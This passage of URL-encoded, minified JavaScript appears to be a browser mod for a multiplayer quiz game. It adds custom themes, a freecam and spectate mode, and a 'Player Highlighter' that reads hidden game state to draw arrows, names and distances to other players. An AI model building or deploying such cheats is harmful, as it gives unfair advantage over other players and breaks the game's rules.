et%20t%3Bfor(p%3Dfe(e%5B20%5D.palette)%2Ct%3D0%3Bt%3Cp.length%3Bt%2B%3D1)%7Bconst%20n%3DZn(e%2Cp%2Ct)%3Bg%5Bt%5D%3Fg%5Bt%5D.p(n%2Co)%3A(g%5Bt%5D%3Drr(n)%2Cg%5Bt%5D.c()%2Cg%5Bt%5D.m(a%2Cnull))%7Dfor(%3Bt%3Cg.length%3Bt%2B%3D1)g%5Bt%5D.d(1)%3Bg.length%3Dp.length%7D(!l%7C%7C1%26o)%26%26q(t%2C%22background-color%22%2Ce%5B20%5D.question.background)%2C(!l%7C%7C1%26o)%26%26q(t%2C%22color%22%2Ce%5B20%5D.question.text)%2C(!l%7C%7C3%26o)%26%26U(t%2C%22selected%22%2Ce%5B1%5D%3D%3D%3De%5B20%5D)%7D%2Ci(e)%7Bl%7C%7C(le(h)%2Cl%3D!0)%7D%2Co(e)%7Bue(h)%2Cl%3D!1%7D%2Cd(e)%7Be%26%26_(t)%2Ch%26%26h.d()%2CA(g%2Ce)%2Cu%3D!1%2Cf()%7D%7D%7Dfunction%20ir(e)%7Blet%20t%2Cn%2Co%2Ci%2Cs%2Ca%2Cc%2Cl%2Cu%2Cf%2Cd%3Ba%3Dnew%20Vt(%7Bprops%3A%7B%24%24slots%3A%7Bdefault%3A%5Btr%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2Ca.%24on(%22click%22%2Ce%5B10%5D)%3Blet%20h%3Dfe(e%5B0%5D)%2Cp%3D%5B%5D%3Bfor(let%20t%3D0%3Bt%3Ch.length%3Bt%2B%3D1)p%5Bt%5D%3Dor(Yn(e%2Ch%2Ct))%3Bconst%20g%3De%3D%3Eue(p%5Be%5D%2C1%2C1%2C(()%3D%3E%7Bp%5Be%5D%3Dnull%7D))%3Breturn%7Bc()%7Bt%3DO(%22div%22)%2Cn%3DO(%22div%22)%2Cn.textContent%3D%22Use%20Custom%20Theme%3F%22%2Co%3DT()%2Ci%3DO(%22input%22)%2Cs%3DT()%2Che(a.%24%24.fragment)%2Cc%3DT()%3Bfor(let%20e%3D0%3Be%3Cp.length%3Be%2B%3D1)p%5Be%5D.c()%3Bl%3DC()%2CM(n%2C%22class%22%2C%22svelte-1yznqq%22)%2CM(i%2C%22type%22%2C%22checkbox%22)%2CM(i%2C%22class%22%2C%22svelte-1yznqq%22)%2CM(t%2C%22class%22%2C%22themeEnabled%20svelte-1yznqq%22)%7D%2Cm(r%2Ch)%7BE(r%2Ct%2Ch)%2Cw(t%2Cn)%2Cw(t%2Co)%2Cw(t%2Ci)%2Ci.checked%3De%5B2%5D%2CE(r%2Cs%2Ch)%2Cpe(a%2Cr%2Ch)%2CE(r%2Cc%2Ch)%3Bfor(let%20e%3D0%3Be%3Cp.length%3Be%2B%3D1)p%5Be%5D%26%26p%5Be%5D.m(r%2Ch)%3BE(r%2Cl%2Ch)%2Cu%3D!0%2Cf%7C%7C(d%3D%5BR(i%2C%22change%22%2Ce%5B9%5D)%2CR(i%2C%22change%22%2Ce%5B5%5D)%5D%2Cf%3D!0)%7D%2Cp(e%2Ct)%7B4%26t%26%26(i.checked%3De%5B2%5D)%3Bconst%20n%3D%7B%7D%3Bif(67108864%26t%26%26(n.%24%24scope%3D%7Bdirty%3At%2Cctx%3Ae%7D)%2Ca.%24set(n)%2C323%26t)%7Blet%20n%3Bfor(h%3Dfe(e%5B0%5D)%2Cn%3D0%3Bn%3Ch.length%3Bn%2B%3D1)%7Bconst%20r%3DYn(e%2Ch%2Cn)%3Bp%5Bn%5D%3F(p%5Bn%5D.p(r%2Ct)%2Cle(p%5Bn%5D%2C1))%3A(p%5Bn%5D%3Dor(r)%2Cp%5Bn%5D.c()%2Cle(p%5Bn%5D%2C1)%2Cp%5Bn%5D.m(l.parentNode%2Cl))%7Dfor(ae()%2Cn%3Dh.length%3Bn%3Cp.length%3Bn%2B%3D1)g(n)%3Bce()%7D%7D%2Ci(e)%7Bif(!u)%7Ble(a.%24%24.fragment%2Ce)%3Bfor(let%20e%3D0%3Be%3Ch.length%3Be%2B%3D1)le(p%5Be%5D)%3Bu%3D!0%7D%7D%2Co(e)%7Bue(a.%24%24.fragment%2Ce)%2Cp%3Dp.filter(Boolean)%3Bfor(let%20e%3D0%3Be%3Cp.length%3Be%2B%3D1)ue(p%5Be%5D)%3Bu%3D!1%7D%2Cd(e)%7Be%26%26(_(t)%2C_(s)%2C_(c)%2C_(l))%2Cge(a%2Ce)%2CA(p%2Ce)%2Cf%3D!1%2Cr(d)%7D%7D%7Dfunction%20sr(e)%7Blet%20t%2Cn%2Cr%2Co%3De%5B3%5D%26%26er(e)%3Breturn%20n%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22Custom%20Theme%22%2C%24%24slots%3A%7Bdefault%3A%5Bir%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2C%7Bc()%7Bo%26%26o.c()%2Ct%3DT()%2Che(n.%24%24.fragment)%7D%2Cm(e%2Ci)%7Bo%26%26o.m(e%2Ci)%2CE(e%2Ct%2Ci)%2Cpe(n%2Ce%2Ci)%2Cr%3D!0%7D%2Cp(e%2C%5Br%5D)%7Be%5B3%5D%3Fo%3F(o.p(e%2Cr)%2C8%26r%26%26le(o%2C1))%3A(o%3Der(e)%2Co.c()%2Cle(o%2C1)%2Co.m(t.parentNode%2Ct))%3Ao%26%26(ae()%2Cue(o%2C1%2C1%2C(()%3D%3E%7Bo%3Dnull%7D))%2Cce())%3Bconst%20i%3D%7B%7D%3B67108879%26r%26%26(i.%24%24scope%3D%7Bdirty%3Ar%2Cctx%3Ae%7D)%2Cn.%24set(i)%7D%2Ci(e)%7Br%7C%7C(le(o)%2Cle(n.%24%24.fragment%2Ce)%2Cr%3D!0)%7D%2Co(e)%7Bue(o)%2Cue(n.%24%24.fragment%2Ce)%2Cr%3D!1%7D%2Cd(e)%7Be%26%26_(t)%2Co%26%26o.d(e)%2Cge(n%2Ce)%7D%7D%7Dconst%20ar%3D'%5Bstyle%5E%3D%22opacity%3A%22%5D%5Bstyle*%3D%22transform%3A%20translateY(0%25)%22%5D'%3Bfunction%20cr(e%2Ct%2Cn)%7Blet%20r%2C%7BtransportType%3Ao%7D%3Dat%3Bc(e%2Co%2C(e%3D%3En(14%2Cr%3De)))%3Blet%20i%3DRe(%22customThemes%22)%2Cs%3D%5B%5D%3Bs%3Di%3FJSON.parse(i)%3AMn.map((e%3D%3E(%7B...e%2Ccustom%3A!1%7D)))%3Blet%20a%3Dnull%2Cl%3Dnew%20MutationObserver((e%3D%3E%7Bfor(let%20t%20of%20e)for(let%20e%20of%20t.addedNodes)%7Bif(!(e%20instanceof%20HTMLElement))continue%3Blet%20t%3B%22colyseus%22%3D%3D%3Dr%3Ft%3De.querySelector(ar)%3A%22blueboat%22%3D%3D%3Dr%26%26e.matches(ar)%26%26(t%3De)%2Ct%26%26(a%3Dt%2Cp())%7D%7D))%3Bconst%20u%3D()%3D%3E%7Bl.observe(document.body%2C%7BchildList%3A!0%2Csubtree%3A!0%7D)%7D%3Bdocument.body%3Fu()%3Awindow.addEventListener(%22DOMContentLoaded%22%2Cu)%3Blet%20f%3Ds%5BparseInt(Re(%22selectedTheme%22%2C%220%22))%5D%2Cd%3D%22true%22%3D%3D%3DRe(%22themeEnabled%22)%3Bfunction%20h(e)%7Bn(1%2Cf%3De)%2CCe(%22selectedTheme%22%2Cs.indexOf(e).toString())%2Cd%26%26p()%7Dfunction%20p()%7Bif(!a%7C%7C!d)return%3Blet%20e%3Da.firstChild.firstChild.firstChild.firstChild%3Be.style.background%3Df.question.background%2Ce.style.color%3Df.question.text%3Bfor(let%20e%3D0%3Be%3Ca.children%5B1%5D.children.length%3Be%2B%2B)%7Blet%20t%3Da.children%5B1%5D.children%5Be%5D.firstChild%3Bt.style.background%3Df.palette%5Be%5D.background%2Ct.style.color%3Df.palette%5Be%5D.text%7D%7Dlet%20g%3D!1%3Bfunction%20m(e)%7Bif(!confirm(%22Are%20you%20sure%20you%20want%20to%20delete%20this%20theme%3F%22))return%3Blet%20t%3Ds.indexOf(e)%3Bs.splice(t%2C1)%2CCe(%22customThemes%22%2CJSON.stringify(s))%2Ce%3D%3D%3Df%26%26(n(1%2Cf%3Ds%5B0%5D)%2CCe(%22selectedTheme%22%2C%220%22)%2Cp())%2Cn(0%2Cs)%7Dreturn%5Bs%2Cf%2Cd%2Cg%2Co%2Cfunction()%7Bd%3F(Ce(%22themeEnabled%22%2C%22true%22)%2Ch(f))%3A(Ce(%22themeEnabled%22%2C%22false%22)%2Cfunction()%7Bif(!a)return%3Blet%20e%3Da.firstChild.firstChild.firstChild.firstChild%3Be.style.background%3D%22%22%2Ce.style.color%3D%22%22%3Bfor(let%20e%3D0%3Be%3Ca.children%5B1%5D.children.length%3Be%2B%2B)%7Blet%20t%3Da.children%5B1%5D.children%5Be%5D.firstChild%3Bt.style.background%3D%22%22%2Ct.style.color%3D%22%22%7D%7D())%7D%2Ch%2Cfunction(e)%7Bn(3%2Cg%3D!1)%2Ce.detail%26%26(n(1%2Cf%3De.detail)%2Cn(0%2Cs%3D%5Be.detail%2C...s%5D)%2CCe(%22selectedTheme%22%2C%220%22)%2CCe(%22customThemes%22%2CJSON.stringify(s))%2Cp())%7D%2Cm%2Cfunction()%7Bd%3Dthis.checked%2Cn(2%2Cd)%7D%2C()%3D%3En(3%2Cg%3D!0)%2Ce%3D%3Em(e)%2Ce%3D%3Eh(e)%5D%7Dclass%20lr%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Ccr%2Csr%2Ci%2C%7B%7D%2CXn)%7D%7Dconst%7Bwindow%3Aur%7D%3Db%3Bfunction%20fr(e)%7Bx(e%2C%22svelte-gt58ph%22%2C%22canvas.svelte-gt58ph%7Bposition%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100vw%3Bheight%3A100vh%3Bz-index%3A9999%3Bpointer-events%3Anone%7D%22)%7Dfunction%20dr(e)%7Blet%20t%2Cn%2Cr%2Co%2Ci%2Cs%3Bfunction%20a(t)%7Be%5B6%5D(t)%7Dlet%20c%3D%7BonText%3A%22Stop%20highlighting%20teammates%22%2CoffText%3A%22Highlight%20Teammates%22%2ChotkeyId%3A%22highlightTeammates%22%7D%3Bfunction%20l(t)%7Be%5B7%5D(t)%7Dvoid%200!%3D%3De%5B1%5D%26%26(c.enabled%3De%5B1%5D)%2Ct%3Dnew%20hn(%7Bprops%3Ac%7D)%2CG.push((()%3D%3Ede(t%2C%22enabled%22%2Ca)))%2Ct.%24on(%22click%22%2Ce%5B4%5D)%3Blet%20u%3D%7BonText%3A%22Stop%20highlighting%20enemies%22%2CoffText%3A%22Highlight%20Enemies%22%2ChotkeyId%3A%22highlightEnemies%22%7D%3Breturn%20void%200!%3D%3De%5B2%5D%26%26(u.enabled%3De%5B2%5D)%2Co%3Dnew%20hn(%7Bprops%3Au%7D)%2CG.push((()%3D%3Ede(o%2C%22enabled%22%2Cl)))%2Co.%24on(%22click%22%2Ce%5B4%5D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%2Cr%3DT()%2Che(o.%24%24.fragment)%7D%2Cm(e%2Cn)%7Bpe(t%2Ce%2Cn)%2CE(e%2Cr%2Cn)%2Cpe(o%2Ce%2Cn)%2Cs%3D!0%7D%2Cp(e%2Cr)%7Bconst%20s%3D%7B%7D%3B!n%26%262%26r%26%26(n%3D!0%2Cs.enabled%3De%5B1%5D%2Cee((()%3D%3En%3D!1)))%2Ct.%24set(s)%3Bconst%20a%3D%7B%7D%3B!i%26%264%26r%26%26(i%3D!0%2Ca.enabled%3De%5B2%5D%2Cee((()%3D%3Ei%3D!1)))%2Co.%24set(a)%7D%2Ci(e)%7Bs%7C%7C(le(t.%24%24.fragment%2Ce)%2Cle(o.%24%24.fragment%2Ce)%2Cs%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cue(o.%24%24.fragment%2Ce)%2Cs%3D!1%7D%2Cd(e)%7Be%26%26_(r)%2Cge(t%2Ce)%2Cge(o%2Ce)%7D%7D%7Dfunction%20hr(e)%7Blet%20t%2Cn%2Cr%2Co%2Ci%2Cs%3Breturn%20r%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22Player%20Highlighter%22%2C%24%24slots%3A%7Bdefault%3A%5Bdr%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2C%7Bc()%7Bt%3DO(%22canvas%22)%2Cn%3DT()%2Che(r.%24%24.fragment)%2CM(t%2C%22width%22%2Cwindow.innerWidth)%2CM(t%2C%22height%22%2Cwindow.innerHeight)%2CM(t%2C%22class%22%2C%22svelte-gt58ph%22)%7D%2Cm(a%2Cc)%7BE(a%2Ct%2Cc)%2Ce%5B5%5D(t)%2CE(a%2Cn%2Cc)%2Cpe(r%2Ca%2Cc)%2Co%3D!0%2Ci%7C%7C(s%3DR(ur%2C%22resize%22%2Ce%5B3%5D)%2Ci%3D!0)%7D%2Cp(e%2C%5Bt%5D)%7Bconst%20n%3D%7B%7D%3B1030%26t%26%26(n.%24%24scope%3D%7Bdirty%3At%2Cctx%3Ae%7D)%2Cr.%24set(n)%7D%2Ci(e)%7Bo%7C%7C(le(r.%24%24.fragment%2Ce)%2Co%3D!0)%7D%2Co(e)%7Bue(r.%24%24.fragment%2Ce)%2Co%3D!1%7D%2Cd(o)%7Bo%26%26(_(t)%2C_(n))%2Ce%5B5%5D(null)%2Cge(r%2Co)%2Ci%3D!1%2Cs()%7D%7D%7Dfunction%20pr(e%2Ct%2Cn)%7Blet%20r%2Co%2Ci%3Bc(e%2Cut%2C(e%3D%3En(9%2Co%3De)))%3Blet%20s%3D!1%2Ca%3D!1%3Bfunction%20l()%7Bif(!it%3F.state%3F.characters%7C%7C!r)return%3Bif(r.clearRect(0%2C0%2Ci.width%2Ci.height)%2C!s%26%26!a)return%3Blet%20e%3DHe()%3F.stores%3F.phaser%3F.scene%3F.cameras%3F.cameras%5B0%5D%2Ct%3Dit.state.characters.%24items.get(o)%3Bif(!t%7C%7C!e)return%3Blet%20n%3De.midPoint.x%2Cc%3De.midPoint.y%3Bfor(let%5Bl%2Cu%5Dof%20it.state.characters.%24items)%7Bif(l%3D%3D%3Do)continue%3Blet%20f%3Dt.teamId%3D%3D%3Du.teamId%3Bif(f%26%26!s)continue%3Bif(!f%26%26!a)continue%3Blet%20d%3DMath.atan2(u.y-c%2Cu.x-n)%2Ch%3DMath.sqrt(Math.pow(u.x-n%2C2)%2BMath.pow(u.y-c%2C2))*e.zoom%2Cp%3DMath.min(250%2Ch)%2Cg%3DMath.cos(d)*p%2Bi.width%2F2%2Cm%3DMath.sin(d)*p%2Bi.height%2F2%2C%24%3Dd%2BMath.PI%2F4*3%2Cy%3Dd-Math.PI%2F4*3%3Br.beginPath()%2Cr.moveTo(g%2Cm)%2Cr.lineTo(g%2B50*Math.cos(%24)%2Cm%2B50*Math.sin(%24))%2Cr.moveTo(g%2Cm)%2Cr.lineTo(g%2B50*Math.cos(y)%2Cm%2B50*Math.sin(y))%2Cr.lineWidth%3D3%2Cr.strokeStyle%3Df%3F%22green%22%3A%22red%22%2Cr.stroke()%2Cr.fillStyle%3D%22black%22%2Cr.font%3D%2220px%20Verdana%22%2Cr.textAlign%3D%22center%22%2Cr.textBaseline%3D%22middle%22%2Cr.fillText(%60%24%7Bu.name%7D%20(%24%7BMath.floor(h)%7D)%60%2Cg%2Cm)%7D%7Dreturn%20z((()%3D%3E%7Bdocument.body.appendChild(i)%7D))%2CsetInterval(l%2C1e3%2F30)%2Ce.%24%24.update%3D()%3D%3E%7B1%26e.%24%24.dirty%26%26(r%3Di%3F.getContext(%222d%22))%7D%2C%5Bi%2Cs%2Ca%2Cfunction()%7Bn(0%2Ci.width%3Dwindow.innerWidth%2Ci)%2Cn(0%2Ci.height%3Dwindow.innerHeight%2Ci)%7D%2Cl%2Cfunction(e)%7BG%5Be%3F%22unshift%22%3A%22push%22%5D((()%3D%3E%7Bi%3De%2Cn(0%2Ci)%7D))%7D%2Cfunction(e)%7Bs%3De%2Cn(1%2Cs)%7D%2Cfunction(e)%7Ba%3De%2Cn(2%2Ca)%7D%5D%7Dclass%20gr%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cpr%2Chr%2Ci%2C%7B%7D%2Cfr)%7D%7Dfunction%20mr(e)%7Bx(e%2C%22svelte-vkb13i%22%2C%22.sliderWrap.svelte-vkb13i%7Bdisplay%3Aflex%3Bflex-direction%3Acolumn%3Balign-items%3Acenter%3Bmargin%3A5px%2010px%7D.sliderWrap.disabled.svelte-vkb13i%7Bopacity%3A0.5%7Dinput.svelte-vkb13i%7Bflex-grow%3A1%3Bwidth%3A100%25%7Dinput%5Bdisabled%5D.svelte-vkb13i%7Bcursor%3Anot-allowed%7D%22)%7Dfunction%20%24r(t)%7Blet%20n%2Co%2Ci%2Cs%2Ca%2Cc%2Cl%2Cu%2Cf%3Breturn%7Bc()%7Bn%3DO(%22div%22)%2Co%3DO(%22div%22)%2Ci%3Dk(t%5B1%5D)%2Cs%3DT()%2Ca%3DO(%22input%22)%2CM(a%2C%22type%22%2C%22range%22)%2CM(a%2C%22min%22%2Ct%5B2%5D)%2CM(a%2C%22max%22%2Ct%5B3%5D)%2CM(a%2C%22step%22%2Ct%5B4%5D)%2CM(a%2C%22title%22%2Cc%3Dt%5B5%5D%3Ft%5B6%5D%3Avoid%200)%2Ca.disabled%3Dl%3D!0%3D%3D%3Dt%5B5%5D%7C%7Cvoid%200%3D%3D%3Dt%5B5%5D%2CM(a%2C%22class%22%2C%22svelte-vkb13i%22)%2CM(n%2C%22class%22%2C%22sliderWrap%20svelte-vkb13i%22)%2CU(n%2C%22disabled%22%2C!0%3D%3D%3Dt%5B5%5D%7C%7Cvoid%200%3D%3D%3Dt%5B5%5D)%7D%2Cm(e%2Cr)%7BE(e%2Cn%2Cr)%2Cw(n%2Co)%2Cw(o%2Ci)%2Cw(n%2Cs)%2Cw(n%2Ca)%2CL(a%2Ct%5B0%5D)%2Ct%5B12%5D(a)%2Cu%7C%7C(f%3D%5BR(a%2C%22change%22%2Ct%5B11%5D)%2CR(a%2C%22input%22%2Ct%5B11%5D)%2CR(a%2C%22mousedown%22%2CP(t%5B9%5D))%2CR(a%2C%22keydown%22%2CS(t%5B10%5D))%2CR(a%2C%22input%22%2Ct%5B8%5D)%5D%2Cu%3D!0)%7D%2Cp(e%2C%5Bt%5D)%7B2%26t%26%26D(i%2Ce%5B1%5D)%2C4%26t%26%26M(a%2C%22min%22%2Ce%5B2%5D)%2C8%26t%26%26M(a%2C%22max%22%2Ce%5B3%5D)%2C16%26t%26%26M(a%2C%22step%22%2Ce%5B4%5D)%2C96%26t%26%26c!%3D%3D(c%3De%5B5%5D%3Fe%5B6%5D%3Avoid%200)%26%26M(a%2C%22title%22%2Cc)%2C32%26t%26%26l!%3D%3D(l%3D!0%3D%3D%3De%5B5%5D%7C%7Cvoid%200%3D%3D%3De%5B5%5D)%26%26(a.disabled%3Dl)%2C1%26t%26%26L(a%2Ce%5B0%5D)%2C32%26t%26%26U(n%2C%22disabled%22%2C!0%3D%3D%3De%5B5%5D%7C%7Cvoid%200%3D%3D%3De%5B5%5D)%7D%2Ci%3Ae%2Co%3Ae%2Cd(e)%7Be%26%26_(n)%2Ct%5B12%5D(null)%2Cu%3D!1%2Cr(f)%7D%7D%7Dfunction%20yr(e%2Ct%2Cn)%7Blet%20r%2C%7Btitle%3Ao%7D%3Dt%2C%7Bmin%3Ai%7D%3Dt%2C%7Bmax%3As%7D%3Dt%2C%7Bvalue%3Aa%3D(i%2Bs)%2F2%7D%3Dt%2C%7Bstep%3Ac%3D1%7D%3Dt%2C%7Bdisabled%3Al%3Dnull%7D%3Dt%2C%7BdisabledMsg%3Au%7D%3Dt%2Cf%3DF()%3Breturn%20e.%24%24set%3De%3D%3E%7B%22title%22in%20e%26%26n(1%2Co%3De.title)%2C%22min%22in%20e%26%26n(2%2Ci%3De.min)%2C%22max%22in%20e%26%26n(3%2Cs%3De.max)%2C%22value%22in%20e%26%26n(0%2Ca%3De.value)%2C%22step%22in%20e%26%26n(4%2Cc%3De.step)%2C%22disabled%22in%20e%26%26n(5%2Cl%3De.disabled)%2C%22disabledMsg%22in%20e%26%26n(6%2Cu%3De.disabledMsg)%7D%2C%5Ba%2Co%2Ci%2Cs%2Cc%2Cl%2Cu%2Cr%2Cfunction()%7Bf(%22input%22%2CparseFloat(r.value))%7D%2Cfunction(t)%7BW.call(this%2Ce%2Ct)%7D%2Cfunction(t)%7BW.call(this%2Ce%2Ct)%7D%2Cfunction()%7Ba%3DN(this.value)%2Cn(0%2Ca)%7D%2Cfunction(e)%7BG%5Be%3F%22unshift%22%3A%22push%22%5D((()%3D%3E%7Br%3De%2Cn(7%2Cr)%7D))%7D%5D%7Dclass%20vr%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cyr%2C%24r%2Ci%2C%7Btitle%3A1%2Cmin%3A2%2Cmax%3A3%2Cvalue%3A0%2Cstep%3A4%2Cdisabled%3A5%2CdisabledMsg%3A6%7D%2Cmr)%7D%7Dfunction%20br(e)%7Bx(e%2C%22svelte-oqtmhy%22%2C%22select.svelte-oqtmhy%7Bwidth%3Acalc(100%25%20-%2010px)%3Bpadding%3A5px%3Bmargin-left%3A5px%3Bmargin-right%3A5px%3Bcolor%3Ablack%7Dselect%5Bdisabled%5D.svelte-oqtmhy%7Bcursor%3Anot-allowed%7D%22)%7Dfunction%20wr(e%2Ct%2Cn)%7Bconst%20r%3De.slice()%3Breturn%20r%5B20%5D%3Dt%5Bn%5D%2Cr%7Dfunction%20xr(e)%7Blet%20t%2Cn%2Cr%3De%5B1%5D%3F%22Stop%22%3A%22Start%22%3Breturn%7Bc()%7Bt%3Dk(r)%2Cn%3Dk(%22%20Freecam%22)%7D%2Cm(e%2Cr)%7BE(e%2Ct%2Cr)%2CE(e%2Cn%2Cr)%7D%2Cp(e%2Cn)%7B2%26n%26%26r!%3D%3D(r%3De%5B1%5D%3F%22Stop%22%3A%22Start%22)%26%26D(t%2Cr)%7D%2Cd(e)%7Be%26%26(_(t)%2C_(n))%7D%7D%7Dfunction%20Er(t)%7Blet%20n%3Breturn%7Bc()%7Bn%3Dk(%22Stop%20Spectating%22)%7D%2Cm(e%2Ct)%7BE(e%2Cn%2Ct)%7D%2Cp%3Ae%2Cd(e)%7Be%26%26_(n)%7D%7D%7Dfunction%20_r(e)%7Blet%20t%3Bfunction%20n(e%2Ct)%7Breturn%20e%5B4%5D%3FEr%3Axr%7Dlet%20r%3Dn(e)%2Co%3Dr(e)%3Breturn%7Bc()%7Bo.c()%2Ct%3DC()%7D%2Cm(e%2Cn)%7Bo.m(e%2Cn)%2CE(e%2Ct%2Cn)%7D%2Cp(e%2Ci)%7Br%3D%3D%3D(r%3Dn(e))%26%26o%3Fo.p(e%2Ci)%3A(o.d(1)%2Co%3Dr(e)%2Co%26%26(o.c()%2Co.m(t.parentNode%2Ct)))%7D%2Cd(e)%7Be%26%26_(t)%2Co.d(e)%7D%7D%7Dfunction%20Ar(e)%7Blet%20t%2Cn%2Cr%2Co%3De%5B20%5D.name%2B%22%22%3Breturn%7Bc()%7Bt%3DO(%22option%22)%2Cn%3Dk(o)%2Ct.__value%3Dr%3De%5B20%5D.id%2CL(t%2Ct.__value)%7D%2Cm(e%2Cr)%7BE(e%2Ct%2Cr)%2Cw(t%2Cn)%7D%2Cp(e%2Ci)%7B8%26i%26%26o!%3D%3D(o%3De%5B20%5D.name%2B%22%22)%26%26D(n%2Co)%2C8%26i%26%26r!%3D%3D(r%3De%5B20%5D.id)%26%26(t.__value%3Dr%2CL(t%2Ct.__value))%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20Or(e)%7Blet%20t%2Cn%2Co%2Ci%2Cs%2Ca%2Cc%2Cl%2Cu%2Cf%2Cd%3Bt%3Dnew%20Vt(%7Bprops%3A%7Bdisabled%3A!e%5B5%5D%2CdisabledMsg%3A%22Camera%20hasn't%20loaded%22%2C%24%24slots%3A%7Bdefault%3A%5B_r%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2Ct.%24on(%22click%22%2Ce%5B9%5D)%2Co%3Dnew%20vr(%7Bprops%3A%7Btitle%3A%22Camera%20Zoom%22%2Cmin%3A.1%2Cmax%3A5%2Cstep%3A.1%2Cdisabled%3A!e%5B5%5D%2Cvalue%3Ae%5B2%5D%2CdisabledMsg%3A%22Camera%20hasn't%20loaded%22%7D%7D)%2Co.%24on(%22input%22%2Ce%5B8%5D)%3Blet%20h%3Dfe(e%5B3%5D)%2Cp%3D%5B%5D%3Bfor(let%20t%3D0%3Bt%3Ch.length%3Bt%2B%3D1)p%5Bt%5D%3DAr(wr(e%2Ch%2Ct))%3Breturn%7Bc()%7Bhe(t.%24%24.fragment)%2Cn%3DT()%2Che(o.%24%24.fragment)%2Ci%3DT()%2Cs%3DO(%22select%22)%2Ca%3DO(%22option%22)%2Ca.textContent%3D%22Pick%20a%20player%20to%20spectate%22%3Bfor(let%20e%3D0%3Be%3Cp.length%3Be%2B%3D1)p%5Be%5D.c()%3Ba.__value%3D%22%22%2CL(a%2Ca.__value)%2Ca.selected%3D!0%2Cs.disabled%3Dc%3D0%3D%3D%3De%5B3%5D.length%2CM(s%2C%22title%22%2Cl%3D0%3D%3D%3De%5B3%5D.length%3F%22No%20characters%20to%20spectate%22%3Avoid%200)%2CM(s%2C%22class%22%2C%22svelte-oqtmhy%22)%7D%2Cm(r%2Cc)%7Bpe(t%2Cr%2Cc)%2CE(r%2Cn%2Cc)%2Cpe(o%2Cr%2Cc)%2CE(r%2Ci%2Cc)%2CE(r%2Cs%2Cc)%2Cw(s%2Ca)%3Bfor(let%20e%3D0%3Be%3Cp.length%3Be%2B%3D1)p%5Be%5D%26%26p%5Be%5D.m(s%2Cnull)%3Be%5B12%5D(s)%2Cu%3D!0%2Cf%7C%7C(d%3D%5BR(s%2C%22change%22%2Ce%5B10%5D)%2CR(s%2C%22keydown%22%2CS(e%5B11%5D))%5D%2Cf%3D!0)%7D%2Cp(e%2Cn)%7Bconst%20r%3D%7B%7D%3B32%26n%26%26(r.disabled%3D!e%5B5%5D)%2C8388626%26n%26%26(r.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(r)%3Bconst%20i%3D%7B%7D%3Bif(32%26n%26%26(i.disabled%3D!e%5B5%5D)%2C4%26n%26%26(i.value%3De%5B2%5D)%2Co.%24set(i)%2C8%26n)%7Blet%20t%3Bfor(h%3Dfe(e%5B3%5D)%2Ct%3D0%3Bt%3Ch.length%3Bt%2B%3D1)%7Bconst%20r%3Dwr(e%2Ch%2Ct)%3Bp%5Bt%5D%3Fp%5Bt%5D.p(r%2Cn)%3A(p%5Bt%5D%3DAr(r)%2Cp%5Bt%5D.c()%2Cp%5Bt%5D.m(s%2Cnull))%7Dfor(%3Bt%3Cp.length%3Bt%2B%3D1)p%5Bt%5D.d(1)%3Bp.length%3Dh.length%7D(!u%7C%7C8%26n%26%26c!%3D%3D(c%3D0%3D%3D%3De%5B3%5D.length))%26%26(s.disabled%3Dc)%2C(!u%7C%7C8%26n%26%26l!%3D%3D(l%3D0%3D%3D%3De%5B3%5D.length%3F%22No%20characters%20to%20spectate%22%3Avoid%200))%26%26M(s%2C%22title%22%2Cl)%7D%2Ci(e)%7Bu%7C%7C(le(t.%24%24.fragment%2Ce)%2Cle(o.%24%24.fragment%2Ce)%2Cu%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cue(o.%24%24.fragment%2Ce)%2Cu%3D!1%7D%2Cd(a)%7Ba%26%26(_(n)%2C_(i)%2C_(s))%2Cge(t%2Ca)%2Cge(o%2Ca)%2CA(p%2Ca)%2Ce%5B12%5D(null)%2Cf%3D!1%2Cr(d)%7D%7D%7Dfunction%20Ir(e)%7Blet%20t%2Cn%2Co%2Ci%3Breturn%20t%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22Freecam%22%2C%24%24slots%3A%7Bdefault%3A%5BOr%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(r%2Cs)%7Bpe(t%2Cr%2Cs)%2Cn%3D!0%2Co%7C%7C(i%3D%5BR(window%2C%22keydown%22%2Ce%5B6%5D)%2CR(window%2C%22keyup%22%2Ce%5B7%5D)%5D%2Co%3D!0)%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20r%3D%7B%7D%3B8388671%26n%26%26(r.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%2Co%3D!1%2Cr(i)%7D%7D%7Dfunction%20kr(e%2Ct%2Cn)%7Blet%20r%2Co%3Bc(e%2Cut%2C(e%3D%3En(15%2Cr%3De)))%2Cc(e%2Clt%2C(e%3D%3En(5%2Co%3De)))%3Blet%20i%2Cs%3Dnew%20Set%2Ca%3D!1%3Blet%20l%2Cu%3D%7Bx%3A0%2Cy%3A0%7D%2Cf%3D1%3Bfunction%20d()%7Blet%20e%3DHe().stores.phaser%2Ct%3De.scene.characterManager.characters.get(e.mainCharacter.id).body%3Be.scene.cameraHelper.startFollowingObject(%7Bobject%3At%7D)%2Ce.scene.cameras.cameras%5B0%5D.useBounds%3D!0%2C